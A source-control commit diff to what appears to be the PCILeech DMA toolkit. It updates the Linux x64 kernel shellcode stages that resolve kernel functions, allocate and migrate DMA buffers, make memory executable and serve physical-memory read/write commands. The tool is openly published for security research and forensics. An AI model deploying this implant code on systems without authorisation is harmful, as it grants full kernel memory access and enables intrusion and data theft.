Version 4.18.3

This commit is contained in:
Ulf Frisk
2024-11-03 22:50:14 +01:00
parent 83706acdb8
commit 5dea412eef
14 changed files with 692 additions and 282 deletions

View File

@@ -59,7 +59,7 @@ shellcode64.exe -o wx64_stage1.exe
# COMPILE ASM TO EXE
ml64 lx64_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main
#
# EXTRACT SHELLCODE (shellcode saved as lx64_stage2.bin, c-ify by xxd -i lx64_stage2.bin)
# EXTRACT SHELLCODE (shellcode saved as lx64_stage2.bin, c-ify by xxd -c 16 -i lx64_stage2.bin)
shellcode64.exe -o lx64_stage2.exe
#
#=============== STAGE 3 ===============
@@ -70,7 +70,7 @@ cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_s
# COMPILE ASM AND LINK C OBJ FILE TO EXE
ml64 lx64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "lx64_stage3_c.obj"
#
# EXTRACT SHELLCODE (shellcode saved as lx64_stage3.bin, c-ify by xxd -i lx64_stage3.bin)
# EXTRACT SHELLCODE (shellcode saved as lx64_stage3.bin, c-ify by xxd -c 16 -i lx64_stage3.bin)
shellcode64.exe -o lx64_stage3.exe
#
#======================================== macOS ========================================

View File

@@ -1,7 +1,7 @@
; lx64_stage2.asm : assembly to receive execution from stage1 shellcode.
; Compatible with Linux x64.
;
; (c) Ulf Frisk, 2016, 2017
; (c) Ulf Frisk, 2016-2024
; Author: Ulf Frisk, pcileech@frizk.net
;
@@ -64,7 +64,7 @@ main PROC
PUSH r15
MOV r15, rsp
AND rsp, 0FFFFFFFFFFFFFFF0h
SUB rsp, 020h
SUB rsp, 040h
LEA r14, main_pre_start
MOV eax, [data_offset_kallsyms_lookup_name]
ADD r14, rax
@@ -105,9 +105,10 @@ setup PROC
TEST rax, rax
JZ error
alloc_pages_ok:
MOV rdi, 14h
MOV rsi, 2h
MOV rdi, 0cc4h
MOV rsi, 1h
CALL rax
MOV [rsp+30h], rax
TEST rax, rax
JZ error
; ----------------------------------------------------
@@ -185,8 +186,10 @@ setup PROC
; 5: START THREAD
; ----------------------------------------------------
thread_start:
MOV [r12+58h], rax ; KMDDATA.ReservedKMD
MOV [r12+58h], rax ; KMDDATA.ReservedKMD[0] (task_struct*)
MOV [r12+10h], r14 ; KMDDATA.AddrKallsymsLookupName
MOV rax, [rsp+30h]
MOV [r12+60h], rax ; KMDDATA.ReservedKMD[1] (page*)
LEA rdi, str_wake_up_process
CALL r14
TEST rax, rax

View File

@@ -1,17 +1,19 @@
; lx64_stage3.asm : assembly to receive execution from stage2 shellcode.
; Compatible with Linux x64.
;
; (c) Ulf Frisk, 2016, 2017
; (c) Ulf Frisk, 2016-2024
; Author: Ulf Frisk, pcileech@frizk.net
;
EXTRN stage3_c_EntryPoint:NEAR
EXTRN stage3_c_TryMigrateEntryPoint:NEAR
.CODE
main PROC
; ----------------------------------------------------
; 1: SAME INITIAL BYTE SEQUENCE AS lx64_stage3_pre.asm
; r15: storage for store old stack ptr (rsp)
; ----------------------------------------------------
label_main_base:
JMP label_main_loop
@@ -28,19 +30,52 @@ main PROC
CMP rax, 0
JZ label_main_loop
; ----------------------------------------------------
; 2: CALL C CODE
; 2: SAVE STACK PTR & SET UP STACK
; ----------------------------------------------------
LEA rcx, label_main_base - 1000h ; address of data page in parameter 1
PUSH rbx
PUSH rbp
PUSH r11
PUSH r12
PUSH r14
PUSH r15
MOV r15, rsp
AND rsp, 0FFFFFFFFFFFFFFF0h
SUB rsp, 020h
; ----------------------------------------------------
; 3: CALL C CODE: MIGRATE FROM 'alloc_pages' TO 'dma_alloc_coherent' (IF POSSIBLE))
; ----------------------------------------------------
LEA rcx, label_main_base - 1000h ; address of data page (KMDDATA) in parameter 1
CALL stage3_c_TryMigrateEntryPoint
WBINVD
TEST rax, rax
JZ migrate_fail_continue
; success - migrate execution to new buffer
LEA rdx, migrate_execute_continue
ADD rax, rdx
JMP rax
; execution migrated
migrate_execute_continue:
LEA rcx, label_main_base - 1000h ; address of data page (KMDDATA)
MOV rax, 1
MOV [rcx+68h], rax ; KMDDATA.ReservedKMD[2] (migrated mark)
migrate_fail_continue:
; ----------------------------------------------------
; 4: CALL C CODE: ENTRY POINT
; ----------------------------------------------------
LEA rcx, label_main_base - 1000h ; address of data page (KMDDATA) in parameter 1
CALL stage3_c_EntryPoint
; ----------------------------------------------------
; 5: RESTORE AND RETURN
; ----------------------------------------------------
error:
MOV rsp, r15
POP r15
; ----------------------------------------------------
; 3: RESTORE AND RETURN
; ----------------------------------------------------
POP r14
POP r12
POP r11
POP rbp
POP rbx
RET
main ENDP
@@ -59,7 +94,7 @@ LookupFunctions PROC
PUSH r13
MOV r15, rcx ; address of kallsyms_lookup_name
MOV r14, rdx ; ptr to FNLX struct
MOV r13, 17*8 ; num functions * 8
MOV r13, 24*8 ; num functions * 8
; ----------------------------------------------------
; 1: PUSH FUNCTION NAME POINTERS ON STACK
; ----------------------------------------------------
@@ -97,6 +132,20 @@ LookupFunctions PROC
PUSH rax
LEA rax, str_set_memory_rw
PUSH rax
LEA rax, str_dummy
PUSH rax
LEA rax, str_dma_free_attrs
PUSH rax
LEA rax, str_platform_device_alloc
PUSH rax
LEA rax, str_platform_device_add
PUSH rax
LEA rax, str_platform_device_put
PUSH rax
LEA rax, str_dma_alloc_attrs
PUSH rax
LEA rax, str_memset
PUSH rax
; ----------------------------------------------------
; 2: LOOKUP FUNCTION POINTERS BY NAME
; ----------------------------------------------------
@@ -135,6 +184,19 @@ LookupFunctions PROC
RET
LookupFunctions ENDP
; ----------------------------------------------------
; clear_8k
; clear 8192 bytes of memory
; rdi -> starting address
; ----------------------------------------------------
clear_8k PROC
XOR rax, rax
MOV ecx, 1024
CLD
REP STOSQ [rdi]
RET
clear_8k ENDP
str_alloc_pages_current db 'alloc_pages_current', 0
str_set_memory_nx db 'set_memory_nx', 0
str_set_memory_rox db 'set_memory_rox', 0
@@ -153,6 +215,13 @@ str_ioremap_nocache db 'ioremap_nocache', 0
str_ktime_get_real_ts64 db 'ktime_get_real_ts64', 0
str_getnstimeofday64 db 'getnstimeofday64', 0
str_alloc_pages db 'alloc_pages', 0
str_platform_device_alloc db 'platform_device_alloc', 0
str_platform_device_add db 'platform_device_add', 0
str_platform_device_put db 'platform_device_put', 0
str_dma_alloc_attrs db 'dma_alloc_attrs', 0
str_dma_free_attrs db 'dma_free_attrs', 0
str_memset db 'memset', 0
str_dummy db 0
; ------------------------------------------------------------------
; Convert from the Windows X64 calling convention to the SystemV

View File

@@ -1,21 +1,21 @@
// lx64_stage3_c.c : stage3 main shellcode.
// Compatible with Linux x64.
//
// (c) Ulf Frisk, 2016, 2017
// (c) Ulf Frisk, 2016-2024
// Author: Ulf Frisk, pcileech@frizk.net
//
typedef void VOID, *PVOID;
typedef int BOOL, *PBOOL;
typedef unsigned char BYTE, *PBYTE;
typedef char CHAR, *PCHAR;
typedef unsigned short WORD, *PWORD;
typedef unsigned long DWORD, *PDWORD;
typedef unsigned __int64 QWORD, *PQWORD;
typedef void *HANDLE;
#define MAX_PATH 260
#define TRUE 1
#define FALSE 0
typedef void VOID, *PVOID;
typedef int BOOL, *PBOOL;
typedef unsigned char BYTE, *PBYTE;
typedef char CHAR, *PCHAR;
typedef unsigned short WORD, *PWORD;
typedef unsigned long DWORD, *PDWORD;
typedef unsigned __int64 QWORD, *PQWORD;
typedef void *HANDLE;
#define MAX_PATH 260
#define TRUE 1
#define FALSE 0
extern QWORD SysVCall(QWORD fn, ...);
extern QWORD LookupFunctions(QWORD qwAddr_KallsymsLookupName, QWORD qwAddr_FNLX);
@@ -28,17 +28,17 @@ extern VOID CacheFlush();
#define LOOKUP_FUNCTION(pk, szFn) (SysVCall(pk->AddrKallsymsLookupName, szFn))
typedef struct _PHYSICAL_MEMORY_RANGE {
QWORD BaseAddress;
QWORD NumberOfBytes;
QWORD BaseAddress;
QWORD NumberOfBytes;
} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;
typedef struct _TIMEVAL {
QWORD tv_sec;
QWORD tv_usec;
QWORD tv_sec;
QWORD tv_usec;
} TIMEVAL, *PTIMEVAL;
typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main control program)
QWORD msleep;
QWORD msleep;
QWORD alloc_pages_current;
QWORD set_memory_x;
QWORD __free_pages;
@@ -48,8 +48,8 @@ typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main co
QWORD walk_system_ram_range;
QWORD iounmap;
QWORD ioremap;
// optional values below - do not use
QWORD ktime_get_real_ts64; // do_gettimeofday alternative if export is missing.
// optional values below - do not use
QWORD ktime_get_real_ts64; // do_gettimeofday alternative if export is missing.
QWORD _ioremap_nocache;
QWORD getnstimeofday64; // do_gettimeofday alternative if export is missing.
QWORD alloc_pages;
@@ -57,10 +57,17 @@ typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main co
QWORD set_memory_rox; // 6.4+ kernels
QWORD set_memory_rw; // 6.4+ kernels
QWORD _wincall_asm_callback; // linux ksh-module specific callback address (settable by ksh module). [offset: 0x88 / 0x388]
QWORD ReservedFutureUse[14];
QWORD dma_free_attrs;
QWORD platform_device_alloc;
QWORD platform_device_add;
QWORD platform_device_put;
QWORD dma_alloc_attrs;
QWORD memset;
QWORD ReservedFutureUse[8];
} FNLX, *PFNLX;
#define KMDDATA_OPERATING_SYSTEM_LINUX 0x02
#define KMDDATA_OPERATING_SYSTEM_LINUX 0x02
#define KMDDATA_OPERATING_SYSTEM_MIGRATE 0xffffffff00000000
/*
* KMD DATA struct. This struct must be contained in a 4096 byte section (page).
@@ -101,6 +108,13 @@ typedef struct tdKMDDATA {
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
} KMDDATA, *PKMDDATA;
// ReservedKMD MAP:
// [0] = task_struct*
// [1] = page* (2-page alloc, if exists)
// [2] = is_migrated (0: no, 1: yes)
// [3] = page* (large buffer, if exists)
// [4] = platform_device* (large buffer, if exists)
#define KMD_CMD_VOID 0xffff
#define KMD_CMD_COMPLETED 0
#define KMD_CMD_READ 1
@@ -112,57 +126,8 @@ typedef struct tdKMDDATA {
#define KMD_CMD_WRITE_VA 7
/*
* Tries to allocate 4MB contigious memory. If not possible 2MB will be tried.
* If not possible -> fail.
* -- pk
* -- fRetry = should be set to TRUE on entry to enable retry on fail.
* -- return = ptr to struct page if successful.
* Lookup functions in kallsyms_lookup_name.
*/
QWORD AllocateMemoryDma(PKMDDATA pk, BOOL fRetry)
{
QWORD i, pStructPages[3], pa[2];
for(i = 0; i < 2; i++) {
pStructPages[i] = SysVCall(pk->fn.alloc_pages_current, 0x14, 10);
pa[i] = pStructPages[i] ? m_page_to_phys(pk->AddrKallsymsLookupName, pStructPages[i]) : 0;
}
// success
if(pa[0] == pa[1] + 0x200000) {
pk->DMASizeBuffer = 0x400000;
pk->DMAAddrPhysical = pa[1];
return pStructPages[1];
}
// complete fail
if(!pa[0] && !pa[1]) {
return 0;
}
// if 2nd attempt - fail if not complete success
if(!fRetry) {
for(i = 0; i < 2; i++) {
if(pStructPages[i]) {
SysVCall(pk->fn.__free_pages, pStructPages[i], 10);
}
}
return 0;
}
// retry for possible complete success
pStructPages[2] = AllocateMemoryDma(pk, FALSE);
if(pStructPages[2]) {
for(i = 0; i < 2; i++) {
if(pStructPages[i]) {
SysVCall(pk->fn.__free_pages, pStructPages[i], 10);
}
}
return pStructPages[2];
}
// partial success
if(pStructPages[1]) {
SysVCall(pk->fn.__free_pages, pStructPages[1], 10);
}
pk->DMASizeBuffer = 0x200000;
pk->DMAAddrPhysical = pa[0];
return pStructPages[0];
}
BOOL LookupFunctionsEx(PKMDDATA pk)
{
DWORD i;
@@ -182,6 +147,226 @@ BOOL LookupFunctionsEx(PKMDDATA pk)
return TRUE;
}
/*
* Free a struct page* buffer.
*/
VOID FreePageBuffer(PKMDDATA pk, QWORD pg, QWORD order)
{
QWORD pa, va, cb;
if(!pg) {
return;
}
pa = m_page_to_phys(pk->AddrKallsymsLookupName, pg);
if(!pa) {
return;
}
va = m_phys_to_virt(pk->AddrKallsymsLookupName, pa);
if(!va) {
return;
}
if(pk->fn.memset) {
cb = (1ULL << order) << 12;
if(pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx) {
// W^X
SysVCall(pk->fn.set_memory_nx, va, cb);
}
if(pk->fn.set_memory_rw) {
SysVCall(pk->fn.set_memory_rw, va, cb);
}
SysVCall(pk->fn.memset, va, 0, cb);
}
SysVCall(pk->fn.__free_pages, pg, order);
}
/*
* Free DMA buffer previously allocated with AllocateDmaLargeBuffer (if exists)
*/
VOID FreeDmaLargeBuffer(PKMDDATA pk)
{
QWORD p_platdev = pk->ReservedKMD[4];
pk->ReservedKMD[4] = 0;
if(pk->fn.dma_free_attrs && p_platdev) {
SysVCall(pk->fn.dma_free_attrs, p_platdev + 0x10, pk->DMASizeBuffer, pk->DMAAddrVirtual, pk->DMAAddrPhysical, 0);
if(pk->fn.platform_device_put) {
SysVCall(pk->fn.platform_device_put, p_platdev);
}
}
}
/*
* Tries to allocate 2MB contigious DMA memory.
*/
QWORD AllocateDmaLargeBuffer(PKMDDATA pk)
{
CHAR device[] = { 'd', 'e', 'v', 0 };
QWORD p_platdev, p_dev, vaDMA, paDMA;
if(!pk->fn.platform_device_alloc || !pk->fn.platform_device_add || !pk->fn.dma_alloc_attrs) {
return 0;
}
p_platdev = SysVCall(pk->fn.platform_device_alloc, device, (QWORD)-1);
if(!p_platdev) {
return 0;
}
//SysVCall(pk->fn.platform_device_add, p_platdev);
p_dev = p_platdev + 0x10;
vaDMA = SysVCall(pk->fn.dma_alloc_attrs, p_dev, 0x00200000, &paDMA, (QWORD)0xcc4, 0);
if(!vaDMA || !paDMA) {
return 0;
}
pk->DMASizeBuffer = 0x00200000;
pk->DMAAddrPhysical = paDMA;
pk->DMAAddrVirtual = vaDMA;
pk->ReservedKMD[4] = p_platdev;
return 1;
}
/*
* Free DMA buffer previously allocated with AllocateDmaLargeBuffer (if exists)
*/
VOID FreePageLargeBuffer(PKMDDATA pk)
{
QWORD pg = pk->ReservedKMD[3];
pk->ReservedKMD[3] = 0;
if(pg) {
FreePageBuffer(pk, pg, 9);
}
}
/*
* Tries to allocate 2MB contigious memory using alloc_pages
*/
QWORD AllocatePageLargeBuffer(PKMDDATA pk)
{
QWORD pg, pa, va;
pg = SysVCall(pk->fn.alloc_pages_current, 0xcc4, 9);
if(!pg) {
return 0;
}
pa = m_page_to_phys(pk->AddrKallsymsLookupName, pg);
if(!pa) {
return 0;
}
va = m_phys_to_virt(pk->AddrKallsymsLookupName, pa);
if(!va) {
return 0;
}
pk->DMASizeBuffer = 0x00200000;
pk->DMAAddrPhysical = pa;
pk->DMAAddrVirtual = va;
pk->ReservedKMD[3] = pg;
return 1;
}
/*
* Free the large buffer irrespective of allocation type.
*/
VOID FreeLargeBuffer(PKMDDATA pk)
{
FreeDmaLargeBuffer(pk);
FreePageLargeBuffer(pk);
pk->DMAAddrPhysical = 0;
pk->DMAAddrVirtual = 0;
}
/*
* Allocate a large 2MB buffer for DMA operations using either dma_alloc_coherent or alloc_pages.
*/
QWORD AllocateLargeBuffer(PKMDDATA pk)
{
return AllocateDmaLargeBuffer(pk) || AllocatePageLargeBuffer(pk);
}
// ------------------------------------------------------
// TRY BUFFER MIGRATION FROM INITIAL 'alloc_pages' BUFFER
// TO A NEW 'dma_alloc_coherent' BUFFER.
// ------------------------------------------------------
/*
* Free the original 2-page buffer if execution is migrated.
*/
VOID TryMigrate_FreeOriginalBuffer(PKMDDATA pk)
{
QWORD fMigrated, pg;
pg = pk->ReservedKMD[1];
pk->ReservedKMD[1] = 0;
fMigrated = pk->ReservedKMD[2];
if(pg && fMigrated) {
FreePageBuffer(pk, pg, 1);
}
}
/*
* Try to allocate DMA memory for the migrated main pcileech buffer
* (KMDDATA + stage3 shellcode). A dummy platform device is allocated
* (but not added) for this purpose. Leak the platform device allocation.
*/
QWORD TryMigrate_AllocateMemoryDmaSmall(PKMDDATA pk, QWORD *paDMA)
{
CHAR device[] = { 'd', 'e', 'v', 0 };
QWORD p_platdev, p_dev, vaDMA;
if(!pk->fn.platform_device_alloc || !pk->fn.platform_device_add || !pk->fn.dma_alloc_attrs) {
return 0;
}
p_platdev = SysVCall(pk->fn.platform_device_alloc, device, (QWORD)-1);
if(!p_platdev) {
return 0;
}
//SysVCall(pk->fn.platform_device_add, p_platdev);
p_dev = p_platdev + 0x10;
vaDMA = SysVCall(pk->fn.dma_alloc_attrs, p_dev, 0x2000, paDMA, (QWORD)0xcc4, 0);
return vaDMA;
}
/*
* Entry point for buffer migration to new more correct dma buffer.
* If migration fail, the shellcode execution will continue in the old buffer.
*/
QWORD stage3_c_TryMigrateEntryPoint(PKMDDATA pk)
{
QWORD o, vaDMA1 = 0, vaDMA2 = 0, paDMA2 = 0;
// 1: lookup functions:
if(!LookupFunctionsEx(pk)) {
return 0;
}
// 2: check if we can set memory rox/rw/nx - we can't migrate due to high risk of a bugcheck.
if(pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx) {
return 0;
}
// 3: allocate new 2-page dma buffer:
vaDMA2 = TryMigrate_AllocateMemoryDmaSmall(pk, &paDMA2);
if(!vaDMA2 || !paDMA2) {
return 0;
}
// 4: copy data from old buffer to new buffer:
vaDMA1 = (QWORD)pk;
for(o = 0; o < 0x2000; o += 8) {
*(PQWORD)(vaDMA2 + o) = *(PQWORD)(vaDMA1 + o);
}
// 5: set new buffer (+0x1000) as executable:
if(pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx) {
// W^X
SysVCall(pk->fn.set_memory_rox, vaDMA2 + 0x1000, 1);
} else {
SysVCall(pk->fn.set_memory_x, vaDMA2 + 0x1000, 1);
}
// 6: return to let the shellcode continue migration:
pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_MIGRATE | paDMA2;
pk->MAGIC = 0x0ff11337711333377;
pk->_status = 0xf0000001;
pk->_op = KMD_CMD_COMPLETED;
return (vaDMA2 - vaDMA1);
}
// ------------------------------------------------------
// MAIN EXECUTION LOOP BELOW:
// ------------------------------------------------------
// status:
// 1: ready for command
// 2: processing
@@ -198,9 +383,9 @@ BOOL LookupFunctionsEx(PKMDDATA pk)
VOID stage3_c_EntryPoint(PKMDDATA pk)
{
BOOL fROX;
QWORD pStructPages, qwMM, qw;
QWORD qwMM, qw;
TIMEVAL timeLast, timeCurrent;
// 0: set up symbols and kmd data
// 1: set up symbols and kmd data
pk->MAGIC = 0x0ff11337711333377;
pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_LINUX;
if(!LookupFunctionsEx(pk)) {
@@ -208,16 +393,15 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
return;
}
fROX = pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx;
// 1: allocate memory
if(0 == (pStructPages = AllocateMemoryDma(pk, TRUE))) {
// 2: allocate memory
if(!AllocateLargeBuffer(pk)) {
pk->_status = 0xf0000002;
return;
}
pk->DMAAddrVirtual = m_phys_to_virt(pk->AddrKallsymsLookupName, pk->DMAAddrPhysical);
if(!fROX) {
SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096);
}
// 2: main dump loop
// 3: main dump loop
SysVCall(pk->fn.do_gettimeofday, &timeLast);
while(TRUE) {
pk->_status = 1;
@@ -232,15 +416,19 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
pk->_status = 2;
if(KMD_CMD_TERMINATE == pk->_op) { // EXIT
pk->_status = 0xf0000000;
SysVCall(pk->fn.__free_pages, pStructPages, 10);
pk->DMAAddrPhysical = 0;
pk->DMAAddrVirtual = 0;
FreeLargeBuffer(pk);
pk->_result = TRUE;
pk->MAGIC = 0;
pk->_op = KMD_CMD_COMPLETED;
return;
}
if(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)
// mem info is usually called upon initialization,
// in the case of a buffer migration we piggy-back
// to clean up the old allocation here.
if(pk->ReservedKMD[1] && pk->ReservedKMD[2]) {
TryMigrate_FreeOriginalBuffer(pk);
}
if(pk->fn.walk_system_ram_range) {
pk->_size = 0;
pk->_result = (0 == SysVCall(pk->fn.walk_system_ram_range, 0, ~0UL, pk, callback_walk_system_ram_range));
@@ -295,4 +483,4 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
pk->_op = KMD_CMD_COMPLETED;
SysVCall(pk->fn.do_gettimeofday, &timeLast);
}
}
}